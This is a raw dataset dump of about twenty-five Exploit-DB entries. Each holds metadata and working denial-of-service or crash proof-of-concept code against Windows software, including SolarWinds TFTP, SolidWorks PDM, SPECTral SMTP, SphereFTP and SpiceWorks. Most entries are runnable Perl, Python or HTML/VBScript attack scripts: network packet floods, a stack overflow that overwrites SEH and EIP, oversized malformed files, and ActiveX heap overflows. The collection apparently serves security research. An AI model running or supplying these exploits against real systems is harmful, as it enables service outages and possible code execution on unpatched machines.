deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9547
Description: SolarWinds TFTP Server 9.2.0.111 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-08-31
Author: Gaurav Baruah

Exploit:
#!/usr/bin/perl
# SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
# by Gaurav Baruah
# TFTP Server Service stops after payload
# is sent, and has to be started again in Config
# Tested on XP SP3
# Big thnx: dragunov
# Greetz: Sanjay

use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
$boom=
"\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5".
"\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a";
$tftpudp->send($boom);

# milw0rm.com [2009-08-31]
Exploit-DB #21963
Description: SolarWinds TFTP Server Standard Edition 5.0.55 - Large UDP Packet
Type: dos
Platform: windows
Date: 2002-10-24
Author: D4rkGr3y

Exploit:
#source: https://www.securityfocus.com/bid/6043/info
#
#A problem in SolarWinds TFTP Server may result in a denial of service, and may have other ramifications. SolarWinds TFTP Server is distributed for the Microsoft Windows platform.
#
#Under some circumstances, it may be possible to crash a vulnerable TFTP server. By sending a UDP packet to the server that is 8193 or more bytes, the server becomes unstable. It has been reported that doing this can consistently reproduce a crash of the server, requiring a manual restart to resume normal operation. 
#
#

#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";

#EOF
Exploit-DB #31763
Description: SolidWorks Workgroup PDM 2014 SP2 Opcode 2001 - Denial of Service
Type: dos
Platform: windows
Date: 2014-02-19
Author: Mohamed Shetta

Exploit:
'''
# Exploit Title: SolidWorks Workgroup PDM 2014 SP2 Opcode 2001 Remote Code Execution Vulnerability
# Date: 2-18-2014
# Author: Mohamed Shetta
Email: mshetta |at| live |dot| com
# Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
# Tested on: Windows 7
#Vulnerability type: Remote Code Execution
#Vulnerable file: pdmwService.exe
#PORT: 30000


---------------------------------------------------------------------------------------------------------
Software Description:

SolidWorks Workgroup PDM is a PDM tool that allows SolidWorks users operating in teams of 10 members or less to work on designs concurrently. With SolidWorks PDM Workgroup, designers can search, revise, and vault CAD data while maintaining an accurate design history.


---------------------------------------------------------------------------------------------------------
Vulnerability Details:

A stack buffer overflow occurs when copying a user supplied input to a fixed size stack buffer without boundary check leading to overwrite the SEH and the return address.
The copying procedure stops when a null word is found and no size check is proceeded.


-----------------------------------------------------------------------------------------------------------
Vulnerable Code:
EAX contains the User supplied data.

004E0C50 |> /0FB708 /MOVZX ECX,WORD PTR DS:[EAX] ; Copying To Fixed Size Buffer
004E0C53 |. |66:890C02 |MOV WORD PTR DS:[EDX+EAX],CX
004E0C57 |. |83C0 02 |ADD EAX,2
004E0C5A |. |66:85C9 |TEST CX,CX
004E0C5D |.^\75 F1 \JNZ SHORT 004E0C50 ; pdmwServ.004E0C50


------------------------------------------------------------------------------------------------------------
PoC:

The PoC attacks both the SEH and Return address, overwriting them with 0x00401000.
To demonstrate the vulnerability easily SEH will be used to take control of EIP.

The exception will be triggered by 0x004B9CB6 Because another read attempt is made that fails because of read time out error. This behavior is intended by the attacker to trigger the exception.

------------------------------------------------------------------------------------------------------------
Further attack vectors:

Opcodes 2002 and 2003 are vulnerable too.

------------------------------------------------------------------------------------------------------------
Disclosure timeline:

12/15/2013 - Vendor notified and no response.
2/18/2014 - Public disclosure
'''

#!/usr/bin/env python
  
import socket

Shell="A"*2060
EIP="\x00\x10\x40\x00"
buff="\xD1\x07\x00\x00" + "\x1C\x08\x00\x00" + Shell + EIP + "\x90\x90\x90\x90\x90\x90\x90\x90" + EIP
          #OpCode                        Size of the next data                                   Junk
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 30000))
s.send(buff)
Exploit-DB #30840
Description: SonicWALL Global VPN Client 4.0.782 - Remote Format String
Type: dos
Platform: windows
Date: 2007-12-04
Author: SEC Consult

Exploit:
source: https://www.securityfocus.com/bid/26689/info

SonicWALL Global VPN Client is prone to a remote format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the application. Failed attempts may cause denial-of-service conditions.

Versions prior to SonicWALL Global VPN Client 4.0.0.830 are affected. 

The following proof of concept was supplied:
<Connection name=> AAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x
<HostName> BBBBBBBBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x
Exploit-DB #34460
Description: Sonique 2.0 - '.xpl' Remote Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2010-08-12
Author: Hamza_hack_dz & Black-liondz1

Exploit:
source: https://www.securityfocus.com/bid/42434/info

Sonique is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Sonique 2.0 Beta Build 103 is vulnerable; other versions may also be affected. 

#Date: 12/8/2010                                                                            
#Author:Hamza_hack_dz & Black-liondz1                                                      
#Software Link:Download: http://www.softpedia.com/progDownload/Sonique-2-Download-6707.html #                                                                          #
#Version:sonique2                                                                           
# web:www.sa-hacker.com/vb
# Email:hamza_hack_dz@hotmail.com &b-l@ho9mail.com                                           

                        
#!/user/bin/python

filename = "sa-hacker.xpl"

junk = "\x41" * 500000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()


# Inj3ct0r.com [2010-08-12]
Exploit-DB #11234
Description: Sonique2 2.0 Beta Build 103 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-23
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: Sonique2 2.0 Beta Build 103 Local Crash PoC
# Found by: b0telh0
# Tested on: Windows XP SP3


crash = "\x41" * 20000

try:
     file = open('b0t.pls','w');
     file.write(crash);
     file.close();
     print "[+] Created b0t.pls file."
except:
     print "[-] Error cant write file to system."
Exploit-DB #4120
Description: Sony Network Camera SNC-P5 1.0 - ActiveX viewer Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-06-27
Author: str0ke

Exploit:
<!--
Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC

Camera info
http://bssc.sel.sony.com/BroadcastandBusiness/DisplayModel?id=79540

SNC-P5 External API documentation
http://www.tracor-europe.info/racine/sony/PROG/P5/API/Documents/SNC-P5APIDocument1.0EN.pdf

/str0ke ! milw0rm.com 
-->

<script language = 'vbscript'>
Sub tryMe()
  buff = String(15000, "A")
  viewer.PrmSetNetworkParam buff, 1
End Sub
</script>

<OBJECT CLASSID="CLSID:5CB430A9-CAAC-4C91-AF61-6D410EEE1221" id="viewer"> </OBJECT>

<input language=VBScript onclick=tryMe() type=button value="Click Me">

# milw0rm.com [2007-06-27]
Exploit-DB #11062
Description: SopCast SopCore Control - ActiveX Remote Execution (PoC)
Type: dos
Platform: windows
Date: 2010-01-08
Author: superli

Exploit:
# Exploit Title: SopCast SopCore Control ActiveX Remote Exec 0day poc
# Author: superli
# Version: 3.2.4
# Tested on: xpsp3 ie6
# Code :


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11062.zip (sopcast_exp.zip)
Exploit-DB #18962
Description: Sorensoft Power Media 6.0 - Denial of Service
Type: dos
Platform: windows
Date: 2012-05-31
Author: Onying

Exploit:
#!/usr/bin/python
#
# Exploit Title: Sorensoft Power Media 6.0 (out of memory)
# software: Sorensoft power media
# version : 6.0
# link: www.sorensoft.com
# Author: Onying (@onyiing)
# Website: otakku-udang.blogspot.com
# Tested on: Windows XP SP3

junk ="\x41"*500
textfile = open("test.asz" , 'w')
textfile.write("ASzf      Options.dat"+junk)
textfile.close()
Exploit-DB #8617
Description: Sorinara Streaming Audio Player 0.9 - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-05
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# Found By : Cyber-Zone (ABDELKHALEK)
#
#
# Thanx To All Friends : Hussin X , Jiko , Stack , ZoRLu , ThE g0bL!N , r1z , Mag!c ompo , SimO-s0fT ... All MoroCCaN HaCkerS
#
# FIGUIG OwnZ !!!
#
# Streaming Audio Player 0.9  (.M3U File) Local Buffer Overflow PoC
#
#Olly Registers
#EAX 00197D20
#ECX 0000020E
#EDX 00126F84
#EBX 00193DAF
#ESP 001270B8
#EBP 7C81391C kernel32.GetFullPathNameA
#ESI 00197D20
#EDI 001272D0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EIP 41414141
#
my $Header = "#EXTM3U\n";
my $ex="http://"."A" x 509;
open(MYFILE,'>>buffer.m3u');
print MYFILE $Header.$ex;
close(MYFILE);

# milw0rm.com [2009-05-05]
Exploit-DB #8625
Description: Sorinara Streaming Audio Player 0.9 - '.pla' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-07
Author: GoLd_M

Exploit:
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### # ## ## ## ###
# #  Sorinara Streaming Audio Player 0.9 (.PLA) Local Stack Overflow PoC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ### ## ## ###
my $chars= "A" x 506;
my $file="GOLD-M.PLA";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-05-07]
Exploit-DB #9192
Description: Soritong MP3 Player 1.0 - 'SKIN' Local Stack Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2009-07-17
Author: ThE g0bL!N

Exploit:
#Soritong MP3 Player 1.0 (SKIN) Local Stack Overflow PoC (Seh)
#First:http://milw0rm.com/exploits/8624
#By: ThE g0bL!N
my $crash="\x41" x 5000 ; # just random
open(myfile,'>>UI.txt') ;
print myfile $crash;
# Usage: After Clicking On file Perl Copy TXT File on this Diredtory skin\default\ Then Run The Program Boom !!!!!!! the Program Crashed
# Note : The Bug is Seh :)

# milw0rm.com [2009-07-17]
Exploit-DB #899
Description: SPECTral Personal SMTP Server 0.4.2 - Denial of Service
Type: dos
Platform: windows
Date: 2005-03-28
Author: GreenwooD

Exploit:
                                                                                                                                                                                                                                                               
#!/usr/bin/perl

use IO::Socket;

###### Small config ################################
#                                                  #
# If service not DoSeD try to increase this value. # 
#                                                  #
# Number of trys for DoS.                          #
#                                                  #
#   $trys = 10;                                    #
#                                                  #
# Quantity signs for atack.                        #
#                                                  #
#   $buf = 200000;                                 #
#                                                  #
####################################################

if (@ARGV < 1)
{
print "\n /\n";
print "  DoS - SPECTral Personal SMTP Server <= 0.4.2 b 338  \n";
print "            Usage: Dos_sp_0.3.pl <ip> [port]          \n";
print "        Coded by GreenwooD Network Security Team      \n\n";      
print "         ============< nst.void.ru >===========       \n";
print "                                                      /\n";
exit();

}

$ip = $ARGV[0];

$port = 25;

if ($ARGV[1])
{
 $port=$ARGV[1];
}

$j=1;

print "\n [+] - Prepare to DoS on $ip:$port\n";

do

{

    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr  => $ip,
                                     PeerPort  => $port) or die "\n [-] - Can't connect to $ip:$port or already DoSeD\n";

    $i=1;

    $remote->send("HELO Victem. You going down today. You SMTP service vulnearable, update it. It is exploit usage.\r\n");
   
    sleep $i;
 
    $remote->send("MAIL FROM:<" . "A" x $buf . ">\r\n");
    
    sleep $i;
    
    $remote->send("RCPT TO:<Developers\@mail\.box>\r\n");
    
    sleep $i;

    $remote->send("DATA\r\n");
    
    sleep $i;
   
    $remote->send(" This of shit letter! " . rand(10) . "\r\n");

    sleep $i;

    $remote->send(".\r\n");

    close($remote);

    print " [t] - Number of try = $j\n";

    $j=$j+1;

} until ($j > $trys);

print " [+] - O yes! Service going down...\n";

# milw0rm.com [2005-03-28]
Exploit-DB #12314
Description: Speed Commander 13.10 - '.zip' Memory Corruption
Type: dos
Platform: windows
Date: 2010-04-20
Author: TecR0c

Exploit:
#!/usr/bin/python
# #######################################################################
# Title:                Speed Commander 13.10 (.zip) Memory Corruption
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by:             TecR0c
# Platform:             Windows XP sp3 En
# Advisory:             http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Trigger : Open the application, Browse to the zip file > double click = BOOM!

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] SpeedCommander (.zip)  - by TecR0c"


ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")

buff = "\x41" * 4064
buff += ".txt"

mefile = open('SpeedCommander.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()
Exploit-DB #38072
Description: SphereFTP Server 2.0 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-09-02
Author: Meisam Monsef

Exploit:
#!/usr/bin/python
# Exploit Title: SphereFTP Server v2.0 Remote Crash PoC
# Date: 2015-09-02
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.menasoft.com/blog/?p=32
# Software Link: http://www.menasoft.com/sphereftp/sphereftp_win32_v20.zip
# Version: 2.0
# Tested on: Microsoft Windows XP Professional SP3

import socket
target = '192.168.0.166'
exploit = "A" * 1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
s.send("USER "+exploit+"\r\n")
s.close()
Exploit-DB #9401
Description: SpiceWorks 3.6 - 'Accept' Overflow Crash
Type: dos
Platform: windows
Date: 2009-08-07
Author: David Kennedy (ReL1K)

Exploit:
#!/usr/bin/python
# Spiceworks 3.6 Accept Parameter Overflow 
# Remote Crash P.O.C.
# Written by: SecureState R&D
# Author: David Kennedy (ReL1K)
# Tested on Windows 2003 SP2 R2
#
# Vendor Notified on: 05/11/2009
# Vendor Fix: Fixed in version 4.0
#
# esi 000334E0 ASCII "AAAAAAAAAAAAAAAAAA"
# edi 000334E0 ASCII "AAAAAAAAAAAAAAAAAA"
#
import socket
crash="A" * 1000
crash+="=" * 1001 # = signs cause the crash
buffer="GET /login HTTP/1.1\r\n"
buffer+="Host: 10.211.55.136:9000\r\n" # change IP + port to fit your own needs.
buffer+="User-Agent: Ohn0esIhascrash\r\n"
buffer+="Accept: " + crash # <---- vulnerable field here
buffer+="\r\n\r\n"
exploit = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
# Enter your own IP below
exploit.connect(("10.211.55.136", 80)) # change IP + port to fit your own needs.
print "[-] SpiceWorks 3.6 Remote Crash [-]"
print "[-] Written by: SecureState R&D [-]"
print "[-] Author: David Kennedy (ReL1K) [-]"
print "[-] Triggering overflow... [-]"
exploit.send(buffer)
exploit.close()

# milw0rm.com [2009-08-07]
Exploit-DB #7934
Description: Spider Player 2.3.9.5 - '.asx' Off-by-One Crash
Type: dos
Platform: windows
Date: 2009-01-30
Author: Houssamix

Exploit:
#exploit.py
#Spider Player 2.3.9.5 Crash Exploit
#others files can be used for crash  m3u , pls .... 

print " Spider Player 2.3.9.5 off by one Crash Exploit ( asx file ) \n"

         	
header1 = (
			"\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
		        "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
			"\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
			"\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
			"\x3D\x22"
			)

header2 = (
			"\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
			"\x3E\x3C\x2F\x41\x53\x58\x3E"
		   )
			
crash = "\x41" * 10000

exploit = header1 + crash  + header2

try:
    out_file = open("crash.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-30]
Exploit-DB #15302
Description: Spider Player 2.4.5 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-22
Author: MOHAMED ABDI

Exploit:
#Exploit Title : Spider Player Denial of Service Vulnerability
#Software : Spider Player 
#Software link : http://spider-player.com/spider/files/Spider_Player_2.4.5_Setup.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , the commander , mr.fearfactor and all tunisian hackers
#Software version : 2.4.5
#Tested on : Win7 Ultimate fr + win xp sp 2
#!/usr/bin/python
outfile="killer.m3u"
junk="\x41" * 666666
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , [+]"
Exploit-DB #9971
Description: Spider Solitaire - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-10-15
Author: SirGod

Exploit:
<?php
/*
Spider Solitaire (Windows XP SP2) Local Crash PoC
By SirGod
www.insecurity.ro
www.twitter.com/SirGod
Loading a corrupt save file(spider.sav) will result in a local crash of Spider Solitaire
*/

$username="pwn"; //Replace with your computer username
$file="spider.sav";
$junk="Spider Solitaire Local Crash";
$handle = fopen($file, 'w') or die("Can't create file");
fwrite($handle,$junk);
fclose($handle);
$file2="C:/Documents and Settings/" .$username. "/My Documents/spider.sav";
if(!copy($file,$file2))
{
    die("Can't copy file");
}
  else
{
  echo "File succesfully copied.Open Spider Solitaire and load the last saved game";
};
?>
Exploit-DB #25219
Description: Spinworks Application Server 3.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-03-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/12794/info

A remote denial of service vulnerability affects Spinworks Application Server. This issue is due to a failure of the application to properly handle malformed requests.

An attacker may leverage this issue to trigger a denial of service condition in the affected software. 

http://www.example.com:5002/?sid=.
Exploit-DB #36896
Description: Splash PRO 1.12.1 - '.avi' File Denial of Service
Type: dos
Platform: windows
Date: 2012-03-03
Author: Senator of Pirates

Exploit:
source: https://www.securityfocus.com/bid/52273/info

Splash PRO is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Splash PRO 1.12.1 is vulnerable; other versions may also be affected. 

PoC = "\x52\x49\x46\x46\x3c\xad\x08\x00\x41\x56\x49\x20\x4c\x49\x53\x54"
PoC +=  "\x72\x22\x00\x00\x68\x64\x72\x6c"
payload = (PoC)
f = open("Crash.avi","wb")
f.write(payload)
f.close()
Exploit-DB #11065
Description: SPlayer XvidDecoder 3.3 - ActiveX Remote Execution (PoC)
Type: dos
Platform: windows
Date: 2010-01-08
Author: superli

Exploit:
# Author: superli
# Tested on: xpsp3 ie6
# Code : 

<object id=TestObj classid="CLSID:{E5960BC4-A76B-4211-BEEC-9AEE2AF8AAE6}" style="width:100;height:350"></object>
Exploit-DB #46313
Description: SpotAuditor 3.6.7 - 'Base64 Encrypted Password' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-04
Author: Rafael Pedrero

Exploit:
# Exploit Title: SpotAuditor v3.6.7 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.nsauditor.com/order.html
# Software Link : http://www.nsauditor.com/order.html
# Tested Version: v3.6.7
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run SpotAuditor.exe
# 2.- copy content SpotAuditor_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Tools" - "Base64 Password Decoder" and paste the result in the "Base64 Encrypted Password:" textbox.
# 4.- Click in Decrypt button and you will see a crash.


#!/usr/bin/env python


crash = "\x41" * 2000
f = open ("SpotAuditor_Crash.txt", "w")
f.write(crash)
f.close()